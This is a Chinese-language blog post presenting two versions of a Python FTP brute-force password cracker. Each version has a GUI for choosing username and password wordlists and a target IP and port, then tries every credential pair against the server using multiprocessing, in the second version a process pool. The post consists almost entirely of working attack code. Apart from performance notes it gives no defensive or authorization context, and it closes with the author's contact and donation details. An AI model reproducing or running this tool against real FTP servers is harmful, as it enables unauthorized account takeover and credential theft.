0x00 第一版:
這一版沒有使用線程池,當字典過大的時候就會出現子線程過多,導致內存,CPU等爆滿。
import easygui as gui #導入ui
import ftplib #導入ftp模塊
from multiprocessing import Process,Queue #引入多線程機制
import time
def info_get(): #獲取爆破信息參數
title="FTP暴力猜解"
message=['請選擇用戶文件','請選擇密碼文件','請輸入要猜解的主機ip','請輸入端口號(默認21)']
user_path=gui.fileopenbox(message[0],title)
pass_path=gui.fileopenbox(message[1],title)
ip=gui.enterbox(message[2],title)
port=gui.enterbox(message[3],title)
if user_path!=None and pass_path!=None and ip!=None and port!=None:
return (user_path,pass_path,ip,port)
else:
user_path="./user.txt"
pass_path="pass.txt"
ip="127.0.0.1"
port="21"
return (user_path,pass_path,ip,port)
def ftp_crack(user,pass1,ip,port,queue=None):
message=("cannot connect Host","user or pass error!","crack success!!!") #定義異常輸出信息
ftp=ftplib.FTP()
#主機連接失敗
try:
ftp.connect(ip, port, timeout=30)
except:
queue.put((message[0],user,pass1)) #使用隊列將結果存儲并返回
return
#賬號1密碼錯誤
try:
ftp.login(user,pass1)
except ftplib.error_perm:
queue.put((message[1],user,pass1))
return
else:
queue.put((message[2],user,pass1))
return
def main():
#首先獲取爆破信息
info=info_get()
if info[2]=="127.0.0.1":
print("請輸入正確的IP信息")
exit(0)
else:
#信息獲取正確,開始準備爆破
queue = Queue() # 進程通信隊列
fp_user=open(info[0],"r",encoding="utf-8")
fp_pass=open(info[1],"r",encoding="utf-8")
ip=info[2]
port=int(info[3])
for each_line_user in fp_user:
each_line_user=each_line_user.strip("\n") #去掉換行符
fp_pass.seek(0,0) #文件指針復原,否則無法再從頭讀取
for each_line_pass in fp_pass:
each_line_pass = each_line_pass.strip("\n") #去掉換行符
print("testing........."+each_line_user+":"+each_line_pass)
ftp_crack1=Process(target=ftp_crack,args=(each_line_user,each_line_pass,ip,port,queue)) #創建線程
ftp_crack1.start() #開啟線程
time.sleep(2) #如果不采用休眠,當所有的子線程全部開啟之后,隊列中可能還沒有結果,導致整個主線程結束。
print("**************************************爆破結果****************************************")
#循環讀取隊列結果并顯示
right=[]
while True:
if queue.empty():
break
else:
tmp=queue.get()
if tmp[0]=="crack success!!!":
right=(tmp[0],tmp[1],tmp[2])
else:
print(tmp[1]+":"+tmp[2]+"------>"+tmp[0])
if right:
print(right[1]+":"+right[2]+"------->"+right[0])
else:
print("crack fail!!!!")
if __name__=="__main__":
main()
0x01 第二版
采用線程池,限制子線程個數,使用隊列保存猜解出來的口令。
import easygui as gui #導入ui
import ftplib #導入ftp模塊
from multiprocessing import Pool,Manager #引入多線程機制
def info_get(): #獲取爆破信息參數
title="FTP暴力猜解"
message=['請選擇用戶文件','請選擇密碼文件','請輸入要猜解的主機ip','請輸入端口號(默認21)']
user_path=gui.fileopenbox(message[0],title)
pass_path=gui.fileopenbox(message[1],title)
ip=gui.enterbox(message[2],title)
port=gui.enterbox(message[3],title)
if user_path!=None and pass_path!=None and ip!=None and port!=None:
return (user_path,pass_path,ip,port)
else:
user_path="./user.txt"
pass_path="pass.txt"
ip="127.0.0.1"
port="21"
return (user_path,pass_path,ip,port)
def ftp_crack(user,pass1,ip,port,queue=None): #ftp連接測試
message=("cannot connect Host","user or pass error!","crack success!!!") #定義異常輸出信息
ftp=ftplib.FTP()
#主機連接失敗
try:
ftp.connect(ip, port, timeout=30)
except:
print(user+":"+pass1+"----------->"+message[0])
return
#賬號1密碼錯誤
try:
ftp.login(user,pass1)
except ftplib.error_perm:
print(user+":"+pass1+":"+"------------>"+message[1])
return
else:
print("***************************************************")
print("*"+user+":"+pass1+"---------------->"+message[2]+"*")
print("***************************************************")
queue.put((message[2],user,pass1)) #強行使用一波隊列,熟悉一下
return
def main():
#首先獲取爆破信息
info=info_get()
if info[2]=="127.0.0.1":
print("請輸入正確的IP信息")
exit(0)
else:
#信息獲取正確,開始準備爆破
pool=Pool(30) #創建進程池,避免進程太多占用內存
queue = Manager().Queue() # 進程池通信隊列,用于進程池中進程通信
fp_user=open(info[0],"r",encoding="utf-8")
fp_pass=open(info[1],"r",encoding="utf-8") #打開賬號密碼文件
ip=info[2]
port=int(info[3])
for each_line_user in fp_user:
each_line_user=each_line_user.strip("\n") #去掉換行符
fp_pass.seek(0,0) #文件指針復原,否則無法再從頭讀取
for each_line_pass in fp_pass:
each_line_pass = each_line_pass.strip("\n") #去掉換行符
print("testing........."+each_line_user+":"+each_line_pass)
next_wait=pool.apply_async(ftp_crack,args=(each_line_user,each_line_pass,ip,port,queue)) #創建線程
next_wait.wait() #讓下一組測試等待上一組完全結束再開始
pool.close() #全部組合結束,將進程池關閉,不再接收新任務
pool.join() #d等待全部進程結束
result=[]
while True:
if not queue.empty():
result=queue.get()
print("!!!crack success!!!")
print(result[1]+":"+result[2]+"----------->"+result[0])
break
else:
print("crack fail! Can't find the right user and pass")
break
if __name__=="__main__":
main()
更多文章、技術交流、商務合作、聯系博主
微信掃碼或搜索:z360901061

微信掃一掃加我為好友
QQ號聯系: 360901061
您的支持是博主寫作最大的動力,如果您喜歡我的文章,感覺我的文章對您有幫助,請用微信掃描下面二維碼支持博主2元、5元、10元、20元等您想捐的金額吧,狠狠點擊下面給點支持吧,站長非常感激您!手機微信長按不能支付解決辦法:請將微信支付二維碼保存到相冊,切換到微信,然后點擊微信右上角掃一掃功能,選擇支付二維碼完成支付。
【本文對您有幫助就好】元
